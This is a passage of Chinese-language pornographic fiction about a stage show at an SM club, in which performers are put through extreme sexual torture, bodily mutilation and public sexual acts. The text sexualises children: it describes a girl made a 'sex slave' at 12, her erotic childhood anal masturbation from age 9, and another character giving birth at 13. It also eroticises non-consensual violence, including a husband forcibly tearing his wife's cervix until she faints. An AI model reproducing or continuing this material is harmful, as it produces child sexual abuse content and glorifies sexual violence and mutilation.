这时听台下又有人喊 媚姐,你后面还漏条尾巴出来呢,啊,前面也有一条。 说完台下又是一片哄笑。

刘媚风情万种的往台下白了一眼道: 你们还好意思说呢,都是你们的爸爸、叔叔、哥哥、弟弟把人家屁眼和屄门玩坏了,现在合都合不上了。不管了,就这样在外面拖着好了。 说完在舞台上扭着屁股让脱出的直肠左右甩着走了一圈然后又娇嗔的补了一句 就这样拖着了,挺舒服的。 说完也不等台下观众反映,便提高了嗓子喊道: 下面请欣赏人体展示!带性奴~ 黑玫瑰~.

2、黑玫瑰

黑玫瑰可是SM界顶顶大命的受虐女奴:夸张的身体改造、超乎想想的受虐手法,使得许多人都听说过这个SM界的新星,更重要的是据说这个女孩还不满20岁。这样年轻的女体可以至少满足那些重口味的变态们15年的感官刺激。

舞台边上的不锈钢框架被推了上来,刘媚不顾还在向舞台上滴着肠液完全脱出肛门的直肠和那悬在两腿间蠕动着向外吐着白色泡沫的肉梨子,便随着舞台灯光向台下的观众展示这具悬挂着的女体身上的每一个细节。伴随着每一个细节的展示和解说,舞台下的观众便爆发出一阵吸气声,摄像机的特写镜头渐渐解开了观众们为何会如此惊叹:

头部:连体的橡胶衣紧紧的包裹住了女孩的头部,从耳孔位置的凸出点可以看出这具女体带着隔音耳塞,头套眼睛的部位带着眼罩。不光如此,头套顶端还有一条铁链,一直连接到女体的肛门栓上,因为铁链的拉扯这具女体的头部呈极度后仰状。女孩的嘴里并不是常见的封口球,而是——一条有鸡蛋粗细的黑色橡胶棒,仔细看还会发现橡胶棒上还有刻度,当前在牙齿位置的刻度为45CM说明女孩已经将这条鸡蛋粗细的橡胶棒吞咽下45厘米的长度,如此长度已经不再是简简单单的深喉了,就像是马戏团的吞剑表演——实实在在的插到了胃里。橡胶棒的头部还有一个不知道有什么用处的小孔。女孩的鼻孔里有两条透明的塑料管直接插到气管里——这是防止因吞咽橡胶棒导致窒息!

胸部:女孩的乳房透过橡胶衣胸部的孔洞穿出来,乳头向着斜上方吊起,使得女孩不得不用力挺胸。因橡胶衣乳房根部开孔较小,所以当乳房穿过孔洞时乳房的根部被紧紧的勒住!由于长时间的挤压,女孩的乳房已经是深紫色,鼓涨涨的样子好像随时会爆掉。在乳房的顶端是两个不属于这个年级的少女的巨大黑褐色乳头,每个乳头足有2厘米粗2。5厘米长,每个黑褐色的乳头都呈十字交叉状穿着两个2毫米直径的乳钉。

如果仔细观察你会发现,乳钉不是简简单单的交叉穿过而是在交叉部位被焊死,就是说除非把整个乳头掀掉,否则别想取下这对饰物。乳钉的焊接点被恶作剧似的弄成3毫米直径的六面体!如果触摸乳头好像乳头里被嵌入了一小颗钻石,使得乳头时刻都处于勃起状态,长久的刺激就难怪19的少女的乳头比生养过十几个孩子的老妇还大了。

乳钉的四个头部都嵌有一颗直径约3毫米的白色小钻石,在灯光的照射下闪闪发光。十字乳钉向上的部一条白色的细链子跨过脖子连接着左右两个乳头——这样既能使乳头保持完美的微微上翘防止乳房下垂又能在乳房颤动的时候由于系链的牵制使乳钉内部的六边形焊点刺激乳头内部和十字乳钉外部的钻石摩擦有半个手掌大的黑褐色乳晕,让乳头时刻处于刺激状态。而在两个乳头相对的位置另外一根系链将两个乳头左右相连更是加剧了这种刺激。因为如此的改造,女孩乳头部位的输乳管被完全破坏,19岁少女的乳汁正顺着十字乳钉的下部一滴一滴的滴到地上。闪光的饰物在黑色而巨大的乳晕衬托下格外的醒目。

在女孩的乳房上以乳头为蕊乳晕为瓣文着两朵玫瑰因为乳头和乳晕的颜色而使玫瑰变成了黑色,这可能就是女孩被叫做黑玫瑰的原因。在左乳房的下面用红色字体文着小指甲大小的一行字:刘茜婷1995。4。21。这行小字应该是女孩的名字和生日了。在右面乳房下面也有一行有大指甲大小的黑字:性奴2007。4。21所有者:赵栋。如此文字在女孩白嫩的乳房上是如此的醒目!结合以上两段纹身如果猜想没有差错的线年成为了一个叫做赵栋的人的性奴,也就是说这个女孩从12岁起到现在2014年19岁为止已经做了7年的性奴了!

观众们受到的震惊不仅如此,当把视线挪到女孩的下体时受到了更大的震惊!

下体:女孩的双脚被分开60度固定在金属框的两边,因为双脚的脚踝被固定双腿与地面垂直但因乳头被拉扯向前女孩只能努力的撅起屁股,这样的姿势使得女孩的下体毫无保留的展现在了观众的面前。

女孩的肛门里塞着一个肛门栓,肛门栓的上部有一条链子连接到女孩的头发上——只要女孩低头就会扯动插在肚子里的肛门栓。在肛门栓的底座上激光琢刻着:9cm* 45cm。这么长的肛门栓或许应该超大号假阳具更合适,而正常人的直肠只有10几厘米,这么长的肛门栓连根没入一定已经插到大肠里去了!但是直肠和大肠的连接部位是 ? 形状到底是怎么把这个大家伙插进去的?许多观众也许以为根本就没有45cm长,可能是骗人的。但是只要看到女孩腹部的三角形隆起就会知道这女孩线cm粗的肛门栓完全纳入体内。

目光下移,女孩的阴门给了观众超越极限的刺激。女孩的阴蒂有2里面长,小指粗细,在阴蒂的根部也采用了和乳针相同的十字针的样式,唯一的区别是十字针的底部挂上了一个小铃铛,随着女孩身体的颤动发出清脆悦耳的声音,通过阴蒂周围的痕迹可以看出阴蒂的包皮被割除了。女孩的阴唇上金光闪闪的穿戴着一排饰物:两侧的大阴唇的根部各镶嵌着3个直径0。5cm的阴环,之所以说是 镶嵌着6个阴环 是因为大阴唇上的阴环不是像耳环那样穿过阴唇,而是像足球鞋的金属扣眼一样镶嵌在阴唇上。

此时正有6根穿过这些扣眼的绳子分别系在左右两条大腿根处向左右拉扯着大阴唇,使其能张开到可承受的最大角度。内里的小阴唇……女孩没有小阴唇,本来应该作为蜜穴最后一道防御的小阴唇被割掉了,当大阴唇被拉开时蠕动着、闪烁着……绿色色泽的蜜穴便张开一个拳头大小的肉洞,不要怀疑一个19岁的少女为阴道会直接张开拳头大的洞,只要看看阴道下发就会明白——女孩的阴道下方被剪开一个开口,通常这种阴道切口手术只有难产的妇人才会进行,不同的是产妇生产后会将切口缝合,而这个女孩没有。

将内里春光完全全的展现在所有人的眼前。之所以是绿色的光泽是因为女孩的蜜穴也有一处纹身:以大阴唇为瓣,以阴蒂为蕊,而绿色的花茎则延伸到了阴道里面。

将目光沿着花茎向内延伸,会发现在距离阴道口4厘米左右的位置有一个黑色的大写字母 G ,这个位置则刚好是女性的 G点 ,如此直白的将G点标识出来也不失是一种创举。用手轻触G点,会发现这层表皮下面被植入了许多小球 ,当手指轻触G点,植入的小球就会四处滚动的刺激G点,比单纯的手指刺激强烈百倍。目光深入到子宫口会发现子宫口文着一圈文字:黑玫瑰- 刘茜婷。原来这个叫刘茜婷的女孩就是那个即将进行受虐调教的 黑玫瑰.如果你对女性生殖器有足够的了解就会发现女孩的蜜穴里好像少了什么东西?对,这个女孩没有尿道!

根据 黑玫瑰 自述,在她16岁接受尿道扩张尝试将3cm粗的导尿管插入到尿道时不小心造成尿道撕裂,主人索性便将她的尿道竖着抛开,将未与阴道顶部相连的部位完全剥离直到膀胱出口处的括约肌。而那条绿色的花茎就是沿着剩下的尿道上壁文成的!当性交时就仿佛有东西同时穿过阴道和尿道守到双重刺激。而失去了尿道遮蔽的膀胱括约肌则直接暴露了出来——可以轻松的将3根手指插入到膀胱里。失去尿道遮盖的G点也更容易被刺激到。

这个女孩将不会再有 吹潮 了,因为吹潮的原理是尿道前庭分泌的爱液通过尿道快速 射出 而女孩没有尿道,爱液只有流到阴道里成为名副其实的 水帘洞.根据 黑玫瑰 的自诉:主人曾经将我的身体倒立过来进行调教,调教完成后我的淫水溢出了阴道。

女孩的腿根后侧部密密麻麻的黑色文着许多文字:破处2007年4月21日初产2007年4月21日刘智2007年10月21日刘月肛门调教2007年4月21日尿道扩张2008年4月21日失败尿道改造2011年2月19日乳房改造2011年4月21日阴蒂改造2011年4月21日阴道改造2011年4月21日阴道扩张2012年4月21日1拳2012年12月25日双拳肛门扩张2012年4月21日1拳

这一串大概13厘米长的纹身记录了黑玫瑰- 张茜婷的性奴调教经历,因为全身的纹身手法全部才用了「深针法」油墨深入真皮层无法被洗去,这些纹身也成了她永远无法磨灭的、作为性奴的印记。

3、“女王”的意外高潮

展示完毕后见台下观众都望过来,但满眼都是震惊的神色气氛有些冷场,刘媚轻咳一声,刚转身打算走到舞台前面和观众互动一下缓和一下观众们因过于震惊而有些冷场的气氛,哪知道刚一转身身后脱肛的肠头便因离心力作用甩了正好打到冰冰凉的不锈钢架子上。

这肠子本来是肚子里的东西,常年37。5℃脱出在外已经是忍常人所不能忍了,哪里还受得了突然间冰这一下。 啊 的一声刘媚便双脚发软的跪坐在舞台上,而前面的子宫又戳到了地上,这刘媚再次受了刺激又 啊 的一声尖叫跳了起来。

这两声尖叫虽然吓了观众一跳,但看懂是怎么回事后便 哄 的一声笑开了,也算是缓和了一下气氛。

刘媚见不再冷场便娇嗔的说: 唉,被你们这些男人玩坏了身子,你们这些狼心狗肺的不关心我一下就算了,还笑我。

这时前排一个刚入会不久的年轻会员大声说道: 小媚姐,你刚才 坐台 时屄和肠子都拖地上沾了灰了,等会塞回去时会闹肚子,来我帮你擦干净。

刘媚低头一看,果然肠子和子宫上都成了 大花脸.虽然舞台平时经常打扫,但是毕竟是脚踩的东西,哪怕是半天不擦也要沾灰的。更何况子宫和肠头都是湿漉漉的沾满了肠液和爱液,刚才在地上一压刚好 和泥 了。正常演出时身下都是垫着干净垫子的。

听那个年轻会员一说,观众们马上又开始起哄,刘媚只得同意上台帮她擦子宫。平时让观众上台来动手动脚,哪怕是被按到地上让10几个人轮奸都是很正常的事,毕竟血玫瑰主打的是 大胆和另类 的演出,有时为了满足观众的特别需求,一身女王装的刘媚偶尔还会 被调教.也正是因为刘媚和观众们的 互动 才让血玫瑰在SM圈子里渐渐有了名气。

小媚姐,我来了。 说着那个年轻会员拉出一条毛巾便跳上了舞台。刘媚看到年轻会员上台便叉开两条腿,膝盖向前弯曲,扎了一个马步,歪着头笑看者这个年轻人,这年轻人也是花丛老手,一点也不尴尬,几步来到刘媚身前,面对着刘媚弯下腰示意刘媚搂住他的脖子,刘媚就顺势留住年轻人并把头靠在年轻人的肩膀上微眯着眼睛做陶醉状。这又惹来了台下的一片哄笑,但是下一刻刘媚突然间瞪圆了眼睛张大了嘴大口大口的吸气,观众们先是一愣,然后爆发出了一阵更大声的哄笑。

原来那个男会员哪里是帮刘媚擦屄,分明像是大扫除时家庭主妇拿着抹布给楼梯扶手的栏杆除灰——把那条毛巾裹在刘媚脱出的子宫上双手环握住以后来回拧动。子宫是女人身上最娇嫩的东西,正常女人一生都不一定会触摸得到,也只有刘媚这千锤百炼被操的生了茧子的老屄,平常性的刺激阴道已经完全没了感觉的人才会想出通过刺激子宫来满足性欲。不过即使是刘媚在进行脱阴自慰的时候也是两手轻触子宫,这么娇嫩的器官哪里受得了一个青壮汉子像大扫除一样的玩命拧动。

刚来回拧了5、6下刘媚就两眼上翻的抽搐了起来,同时两腿间的肉梨子像个大蚌一样开始一股一股的往外喷水。那个青年并没住手,反而一手把毛巾握在手里另一手握住刘媚的子宫开始把毛巾顺着刘媚那一张一合的宫口往里塞。整条毛巾都塞好后,在看刘媚两腿间的子宫从梨子变成了柚子。男青年往里塞毛巾的手法干净利落,整个过程不超过40秒,而刘媚也直接泄了40秒。男青年停止了动作刘媚也终于停止了泄身喘上了这口气,她瞪了男青年一眼非但没生气,反倒以非常满足的口气说道: 唉,我这能有差不多10年没有这么爽过了,不知道你什么时候有时间能来媚姐家坐坐,教教姐姐你这手法。 男青年嘿嘿一笑说: 小媚姐,这手法自己可玩不来,得让别人弄才行。自己弄个1、2下手就软了,哪里能泄这么久。 刘媚一听有点泄气,就顺口问道: 小帅哥,那你这手法和谁学的?教教我呗。 男青年一笑说: 这手法我可是在我女朋友身上练出来的,教你也没什么不可以的,刚好我女朋友下周来K市见我父母,刚好可以一起去媚姐家玩,顺便也给你找个人练手。 啊,那感情好了,一会俱乐部散场在门口等我,我给你地址。 男青年点头后走回了座位。刘媚刚要起身,感觉下体有点异样,低头一看可下了一跳。原来刘媚虽然有脱阴症,但最多也就脱出个子宫,现在可好,之间两腿间整个阴道都翻了出来,暗红色的肉管子伸出15厘米,管子的前端连着个柚子大的子宫,握起子宫往里一看,发现里面有条毛巾,刘媚知道这是那个男青年捣的鬼,便佯装愤怒的瞪了台下的男青年一眼,不过男青年的脸上却挂着似笑非笑的笑容。

刘媚又捏了一把倒翻出来的阴道略一回想就知道是刚才泄得太厉害再加上男青年的拉扯,使脱阴症加重把整个阴道都脱了出来。 原来我这屄眼下腹受力才能脱出来,现在恐怕是只要一迈步就得掉出来了。 听着刘媚这好像自言自语的自嘲台下观众又是一片哄笑。

可能是刘媚自慰再加上观众起哄捣乱的时间太久了,金属架里吊着的少女有些承受不住,再加上她耳不能听眼不能见,这么久都没人碰她,心里难免感觉有些害怕,便轻轻的扭动起身体。阴蒂上的铃铛发出的声音提醒了刘媚。

刘媚看了一下时间,发现距离正常的表演安排已经过去了2个小时,便赶紧回归女王本色也没时间处理脱出的阴道和子宫里的毛巾了。

各位观众,今天大家买票来观看演出主要是为了黑玫瑰,现在时间不早了我们赶快切入正题吧,就不要再在小媚身上浪费时间了,反正各位想看小媚的话只要我在俱乐部随时都能看到。而黑玫瑰只有今天一天在这里表演哦,如果各位想再看的话还不知道要等多久呢。 说完这番话,台下也渐渐安静了下来。

各位,相信大家都看到她腿上的纹身,这些纹身就是刘茜婷,哦,也就是黑玫瑰的性奴调教历程,今天我们要做的就是送她一个19岁的生日礼物——也就是将在K市的父老面前再为她增加一条纹身!让我们一起来见证一个超级性玩偶的诞生. 我将邀请我的丈夫强哥当我的助手和我共同为大家表演。 随着大强走上舞台,俱乐部的灯光暗了下来,一束白色强光照在了金属框里被吊起的女孩身上。女孩乳头、阴蒂、刚栓上的钻石随着女孩身体自然的抖动而反射出一道道诱惑的光芒。

刘媚从后台架子上拿过一跟九尾鞭走到黑玫瑰身后,对准了敞开的阴门挥动了手臂 啪 悬挂着女体的金属框猛地摇晃了一下,接下来就是一声痛苦的闷哼:因为长时间的幽暗环境,刘茜婷的身体触感久变得极其敏感,在阴部突然被鞭打时身体条件反射性的一抖,在平时来看可能没有什么,毕竟九尾鞭属于情趣用品,即使在用力抽打也不会受伤,可是刘茜婷现在的乳头被挂在框子上,身体收到外部刺激后产生的条件反射性的颤抖拉动了被束缚住的乳头,乳房的剧痛使得她瞬间冒出一身冷汗,这一下也使得因长时间等待而变得昏昏欲睡的刘茜婷瞬间精神了起来。

这开场式的一鞭之后,刘媚高声说道: 下面将一项一项检查这个小婊子的调教成果。 嗯,现在看黑玫瑰——刘茜婷为我们带来的第一项表演,深喉练习……嗯,感觉黑玫瑰这个名字不太适合如此可爱的女孩子,以后还是叫婷婷好了。那么请欣赏婷婷为我们带来的深喉表演吧。4、演出时间

听到表演开始,大强便搬来一个半米高的木墩放在刘系统头部位置并站了上去,这样大强的腰部刚好和刘茜婷高高后仰的头部平起。大强解开了婷婷脑后的口塞扣带。刘茜婷对后面的表演驾轻就熟,在主人身边时这样的训练每天都要进行。当大强将女孩口中的口塞完全拔出时台下不禁想起一片惊讶声,毕竟很少有人会看到一个人从嘴里拔出鸡蛋粗细将近半米长的棍子。

在众人的惊叹声中大强将 棍子 向众人展示了一下,在观众们以为大强会掏出家伙提枪上马的时候没想到大强又将这根 棍子 重新从女孩的嘴里塞了进去。并一直在往往复复。一个成年人是可以吞下剥了皮的鸡蛋的,但是喉咙会非常的痛苦。马戏团的吞剑表演谁都看过,半米长的铁剑从喉咙吞进胃里,但是将两者结合起来难度就是非常的大了,毕竟要忍受喉咙被强行扩开的痛苦。随着大强插拔次数的增多,插拔的频率也逐渐加快女孩开始渐渐的支持不住了,两条腿开始不住的颤栗,身上细细密密的结满了一层汗珠,痛苦的哼哼声也渐渐的从女孩插着呼吸管的鼻孔中传出。

大强抽插到30次时停止了动作,女孩也终于有了可以喘息的时间。这时刘媚说道: 热身运动结束,开始正式的深喉调教。 观众哗然,原来刚刚那残酷的表演只是热身。只见大强从身下的木桩下面取出了一条和刚才那条 棍子 一样粗但是刻度表示为55cm的棍子来。刘茜婷将把这个55cm长的家伙完全吞进肚子里。

继续重复之前的动作,不过当 棍子 深入到50cm的时候无论大强如何用力也无法整根插入。这时刘媚示意大强继续用力,而刘媚则伸出手在婷婷的肚子上按压起来,她的手在刘茜婷的胸口出摸到一个突出物,刘媚用力一按,大强手里剩余的棍子尾巴咕噜一下便塞进了少女的嘴里。而少女的脸上虽然因为痛苦而有些扭曲,但还是露出了如释重负的表情。这时刘媚转身像观众解释道: 人的胃像是一个L型,刚刚因为口交棒抵到了胃壁,所以塞不进去。而我刚才在给婷婷按摩时就是将胃里的口交棒折一个小弯,让它抵在幽门(人体器官)上。观众们露出了原来如此的表情。

刘媚取下了刘茜婷的耳塞,回头冲着观众微微一笑,开口问道: 婷婷,你可以告诉观众们,为什么你要用这么粗的东西练习深喉呢? 虽然喉咙里的口交棒涨的难受,但还是勉强可以回答: 因为主人有一匹公马,主人说过作为性奴不单单要满足主人的要求也要照顾好主人的宠物。那匹马的阴茎有手臂那么长,就是把婷奴的骚屄干坏掉也满足不了它的,所以我就想锻炼我的喉咙来给主人的马儿用。

果然是个很合格的性奴, 刘媚接着又问 我看你的屁眼里插着的南傍国比喉咙的还要粗,也是给你主人的公马准备的么? 不是啦,那是因为……因为我的个人爱好。 刘茜婷红着脸越说声音越小。

婷婷,要大声说出来哦,你的声音只有我能听得到,观众们可听不见呢。 刘媚促狭的说道。

因为,因为婷婷从小的时候就是一个喜欢玩弄自己肛门的变态女孩。 这句话说完刘茜婷好像是耗尽了全身的力气,头自然的低了下来,可是她忘记了自己的头发连接着肛门里的巨型刚栓,一个低头的动作使得刚栓用力的插动了一下,而刘茜婷的头则再次高高的仰起,和之前不同的是婷婷仰头的时候嘴巴也像是出水的鱼儿一样大口大口的喘着气——虽然她的喉咙里还插着根鸡蛋粗的棍子,未必会吸进多少空气。少女露在外面的耳朵已经红透了,看起来像是很快就要高潮的样子。刘媚赶快对这婷婷的胃部排了一下,而少女的高潮就被这一下拍击硬生生的终止了。

女孩的胃里的橡胶棍子,因为女孩被束缚的姿势在胃部形成了一个凸起。刘媚刚刚拍的位置则正是这个突起,这次拍击震动了半个消化系统,剧烈的疼痛和呕吐感残忍的打断了女孩即将到来的高潮。

求求你,让婷婷高潮吧!一次就好。 女孩身上大汗淋漓,也不知道是因为胃部的疼痛还是刚刚即将爆发的高潮。

这样吧,你回答完我的问题我就让你高潮怎么样? 刘媚也不等女孩回答便自顾自的提问了起来 你第一次玩弄你的小屁眼是什么时候? 啊,是在9岁时。 刘媚一惊,9岁还是许多孩子没有搞清楚性别的年级,而眼前这个孩子就开始通过肛门进行自慰了。 你为什么玩弄你的小屁眼?用什么东西玩?怎么玩的? 刘媚一口气丢出了三个问题。

因为玩弄屁眼的时候会感觉很舒服,一般情况下用筷子,就是长长的竹筷子。用两根筷子插进肛门里交替进出。 那你当时多久玩一次? 只要没人的时候我都会玩,有时候上学时我也会在屁眼里插一支铅笔,插一天时间。 说道这里女孩的耳朵又变的红了起来,好像又要达到高潮的边缘了。

你线岁时就开始玩弄自己的屁眼,而且现在回答我问题的时候居然简单的回忆就可以让你打到高潮。 因为主人告诉我说最顶级的性奴可以通过性幻想就让自己达到高潮。而且主人也对茜婷做过这方面的训练,茜婷在训练时就是靠回忆小时候玩肛门达到高潮的。 真是变态,告诉我,你是怎么样让这个9厘米粗,45厘米长的肛栓插进肚子里的? 我9岁刚刚开始时使用两根筷子,后来大概过了3个月就可以用6根筷子插进屁眼了。 说道这里女孩露出了骄傲的神情,然后继续说道 等我到12岁遇到主人时已经可以插4厘米粗的东西了。 哦,12岁时可以扩张到4厘米,为什么今天你19岁了才仅仅可以扩开到9厘米? 因为。 女孩红着脸说到 主人说我的肛门肌肉已经扩张到最大了,继续扩张会使肛门裂开,除非等我再长大一点肛门才会继续扩张。主人说我到25岁时肛门就可以扩张到11厘米了。 刘媚听后暗想,刘茜婷的肛门果然不得了,这就相当于将肛门括约肌的所有褶皱全部抹平了,直接撑开到肌肉延展的极限。如果记得不错的话刘媚自己的也才能扩张开9厘米左右,和现在的刘茜婷持平。

等了一会见刘媚没有反应,女孩便继续说道: 在我11岁的时候,有一次将拖把的把手插进屁眼里时不小心跌了一跤,拖把深深的插了进去,当时很疼的,我哭了好久呢。过了几天等肚子不疼了我发现我的屁眼比以前深了好多,后来又经过主人的帮忙就变成现在这个样子了。 刘媚道: 应该是摔倒时拖布把插进肠子时把固定肠子的韧带拉断了。 主人也是这么说的.女孩点头个给予了肯定。

刘媚突然想到一个问题,又问道: 你有脱肛的毛病么? 嗯,有的 女孩脸红红的 那次拖把插过之后就有了,而且现在也一直有的。 刘媚摸了摸自己身后还在滴着肠液的 尾巴 又问道: 那你现在脱出来有多长呢? 女孩想了想说道: 大概半米吧,完全拖出来的时候会垂到地上。 然后女孩没等刘媚再次发问就继续说道: 我脱肛的时候会把一半的大肠也脱出来,我想应该是小时候留下的毛病吧,平时我都带着肛门插的,当然不会像这个这么长,平时出门只带9* 9的。

对了,因为极限式的扩肛和长时间的使用肛门插,我的括约肌已经完全失效了呢。 女孩说完这些话,身体又开始了颤抖,呼吸也变得急促了起来。 嗯……嗯……说完了,可不可以让茜婷高潮了呢? 好哇,看在你是一个合格的性奴的份上先让你爽个痛快。 刘媚带着玩味的笑容说道。 我该怎样帮你呢? 啊,谢……谢谢了,请帮我抽插肛栓就行。 说完后刘茜婷又略显尴尬的补充到 如果可以的话,请大力些。 刘媚让后台取出一个大号的透明塑料盆放在刘茜婷的两腿之间准备接取爱液。

大强这次没用刘媚提醒便来到女孩的身后,解开连接这头发的铁链用双手握住肛栓露在外面的底座,看着台下的观众们说道 哈哈,各位亲爱的观众们,请跟我倒数,3、2…… 随着大强的倒数,观众们也跟着吼了的起来 3、2…… 女孩听见倒数的声音身体变得更加的亢奋了急促而粗重的呼吸着,虽然身体的敏感部位全都被铁链固定在金属框上,但还是努力的向下塌腰并尽力的向后挺起屁股,使得原来水平向后的肛门栓微微的向上翘着。

随着 1 的到来,大强大吼一声像是拔河一样用尽全身力气快速的拔出女孩肛门内的巨型肛栓。伴随着女孩那能刺破云霄的尖叫声肛门栓 飞 出了女孩屁股上那9厘米的血红大洞。大强本以为这么粗长的肛栓想快速的拔出来怎么也得有些阻力,没想到的是这肛栓就像是放进女孩的屁眼里一样,根本没什么阻力就被拔了出来,因为用力过猛大强险些摔倒,向后退了四五步才站稳。

随着肛栓拔出时产生的负压,女孩的肠道翻出肛门,一直垂到膝盖部位。哗 的一声大量的肠液被倒进了两腿间的盆里。之所以说是倒进而不是流进或淌进,是因为女孩喷出的肠液就好像是一个人站着将一碗水直接倒进脚边的盆子里一样,大量和迅速。

女孩的尖叫声一直持续的5、6秒才停下,状若疯狂的大喊 不要停,继续啊,继续,玩死我吧,玩死婷婷吧! 刘媚见状,晃着还在滴水的尾巴来到女孩身后,挡开了正要上前的大强,将右手在女孩身下的盆子里洗了一下然后左手托起女孩身后的肠头像戴手套一样将左手穿了进去,一直插如到胳膊肘停了一下,然后在满场惊愕的目光中继续深入,直到将整个大臂也插进了女孩的屁股。

女孩的挺得紧紧的肚皮上的突起可以清晰的看到刘媚的拳头所在的位置。刘媚将拳头完全抽出,这时女孩的肠道就像是一副红色长筒橡胶手套一样缓缓翻出,然后在深入肩膀的插入,每次都是完全抽出再尽根没入。如此三次就听到盆子里再次发出水流滴落的声音,女孩吹潮了。在女孩的浑身颤抖中因为失去了尿道束缚的潮液只能通过阴道像漏水的龙头一样一股股的流出。刘媚并没有因女孩高潮就停下手里的动作,随着刘媚继续抽插女孩的阴道也继续一股股的流出潮液。差不多刘媚没抽插3、4次女孩的阴道就会流出一股淫水,直到刘媚抽插了四五十下女孩的身体只是颤抖而阴道再也没有淫水流出才停止。

刘媚抽出了水淋淋的手臂回头看了一眼女孩因连续高潮而无力低下的头,又扭回头对台下的观众们说道: 看来我们可怜的性玩偶小婷婷已经没油了。 看到台下的观众们发出一阵笑声。刘媚便继续说道: 非常抱歉,我们得先给这个可怜的小玩偶加点油才能继续进行下面的表演呢。 说完示意大强上前分开女孩的嘴,刘媚端起女孩两腿间盛着半盆爱液和肠液的塑料盆来到女孩头部位置,通过女孩喉咙里塑胶棒上的小孔慢慢灌进女孩的胃里,然后又拿起一个混有1。5L葡萄糖液、生理盐水。女孩的腹部因为大量液体的灌入渐渐鼓了起来。没错,女孩嘴里的橡胶棒中间的小孔就是方便给女孩 加油 用的,这个小孔贯通整个橡胶棒,使这条南傍国成为了一根超级粗的胶皮管。

在观众们等待 玩偶 恢复 动力 的时候刘媚再次来到台前,用撒娇的口气对台下说: 整条胳膊都粘乎乎的,真是不舒服。 又回头道: 强哥,扶我一下,我出条毛巾擦一下。 说着还冲着台下抛了一个媚眼 刚刚那位小帅哥真体贴,还给我留一条毛巾。 大强走过来扶住刘媚的腰,刘媚一手托起子宫,一手的食指和中指从不停开合着的子宫口伸了进去夹住毛巾用力向外扯。随着刘媚两腿的不停颤栗毛巾被渐渐拉出,因为连番的异物扩张,刘媚的子宫口开启了一个直径有4厘米的口子。刘媚象征性的擦了一下湿漉漉的手臂便将毛巾丢到地上。

然后又托起打开着口的子宫冲着观众展示了一下,又娇嗔的扭头对大强谁: 强哥啊,人家下面完全坏掉了,看来你以后只能自己 打飞机 了. 打飞机就打飞机,嘿嘿看来又有个新玩法了。 在刘媚的尖叫声中大强腾出一只手拉扯了两下刘媚留在外面的肠子,嘿嘿的说道。

我先打一次飞机试试,不过这东西怪碍事的, 说完也不管刘媚的反映仗着一身蛮力就像大人打小孩屁股那样直接将刘媚翻过来夹在腋下。

刘媚的姿势成了撅着雪白的屁股冲着台下,大强夹着刘媚的腰冲着台下说道 这骚娘们的屁眼里流出的肠子太碍事。 说完直接用一只手抄起肠头团成一团握在手里,极其野蛮的连着拳头一起塞进刘媚的屁眼,可刚把手抽出来刘媚的直肠不争气的又流了出来 唉,这骚娘们年轻时被玩的太厉害,屁眼子都被操坏了,得用东西堵上才行,哪位愿意借我个塞子? 还是那个先前上台帮刘媚擦子宫的青年人,一抬手抛了一个 二两半 (就是平时喝啤酒的透明玻璃杯)的杯子上去。刘天强伸手接住后就像盛面条一样将刘媚的肠子用杯子托起后连着杯子塞进屁眼。幸亏这杯子杯口比杯底粗一点,刘媚的屁眼把杯子推出一半杯子就卡住了。从台下看,刘媚的屁眼被撑开一个圆,中间是一堆红彤彤的嫩肉,使刘媚的屁眼看起来非常……变态。

处理完刘媚的屁眼,大强将刘媚大分着双腿放在刚才的木墩子上就直接脱下自己的裤子露出两腿间的巨物。

在观众们的惊叹和女人的尖叫声中绕场一圈展示着他傲人的资本。刘天强虽然人长得白净,但两腿间的巨屌却黑的发亮,可以看出绝对是阅女无数。这根有25厘米长,4厘米粗的鸡巴上纹着一条龙,随着刘天强的走动,一下一下的弹动着活灵活现。据说这条龙是当年刘天强被基佬拐走时给强行文上的,后来刘天强摆脱了那几个基佬后也没洗掉。

刘天强展示完下体以后直接来到大分着双腿将下体对着观众们的刘媚身前,转个身面向观众跨坐在刘媚肚子上,伸手抄起刘媚的子宫将分别将左右手的拇指和食指插进刘媚大开着的子宫口,然后嘿的一声向两边扯开。这一下超出了刘媚的想象,她根本没想到自己丈夫是打算将她的子宫当作航空杯自慰器来用。

剧烈的疼痛使得刘媚疯狂的扭动起来,刘天强索性直接坐在刘媚那因为失去了生殖器支撑明显瘪下去的腹部,并用两只脚勾住刘媚的双腿,使他们不能合拢。刘媚哪里能反抗得了一身蛮力的刘天强,挣扎几下就筋疲力尽了,只能任由刘天强摆弄。再看刘媚的子宫口,在刘天强长满肌肉的双臂下已经被完全拉开,刘天强借势直接将双手的无名指和小指也放了进去。现在刘媚的子宫口被刘天强八根手指分开成婴儿头颅大小的巨洞,直接到了女人分娩时的水平。刘媚已经疼得晕了过去。

乖乖不得了啊,按照这么个整法我看刘媚这娘们过两年子宫也要玩废掉了,那以后这屄货想高潮难道要玩卵巢了? 台下的刘叔目瞪口呆的说道。

刘天强听到刘叔的话来了注意 刘叔,放心好了,刘媚的子宫肯定早就坏掉了,她接客20年也不吃避孕药从来都没怀过孕。不过刘叔你那主意不错,现在就玩玩她卵巢。 他吩咐后台拿来了两个尿道自慰器。这尿道自慰器是刘天强找人定做的,说来也简单,就是把两颗跳蛋固定在不锈钢导尿棒上,原理就是跳蛋的震动通过导尿棒传递到尿道深处。

原来当年的刘媚不好意思去医院生产,13岁的她就是自己一个人在小黑屋里剩下的女儿,由于没有生理知识只能乱搞自己的生殖器以至于捞下了病根,这也是为什么刚刚30多岁的她就患上了老女人才有的超重症脱阴。

刘天强刚要把这南傍国透过子宫内的小孔往里插,这时坐在前排的那个小青年赶忙上前阻止了刘天强,说道: 强哥,别插,女人的输卵管太娇嫩用力太大或者插的太深会出人命,你继续撑着她的子宫,我来弄。 说着便拿起这两根系棍子在刘媚子宫上刮了点淫水插进子宫壁上的两个小孔。男青年看起来是轻车熟路,用两进一出的手法慢慢将手里的南傍国插了进去。直到插进去有4、5厘米才停手,然后打开跳蛋的开关两手的食指和拇指开始撵动导尿棒。

跳蛋刚刚打开时刘媚就醒了过来,随着男青年手里的撵动刘媚的身体也不由自主的颤抖了起来,到了后来只见刘媚张大了嘴吧大口大口的吸气,两个大奶子随着胸腔的起伏剧烈的抖动着,刘媚那外露的子宫和阴道几乎瞬间便分泌了大量的爱液,爱液顺着刘媚的屁股滴滴答答的滴在舞台上,不一会就成了一大摊。

突然,刘媚的身体就像重症羊癫疯病人一样剧烈的抽搐起来,又是一次强烈的高潮。

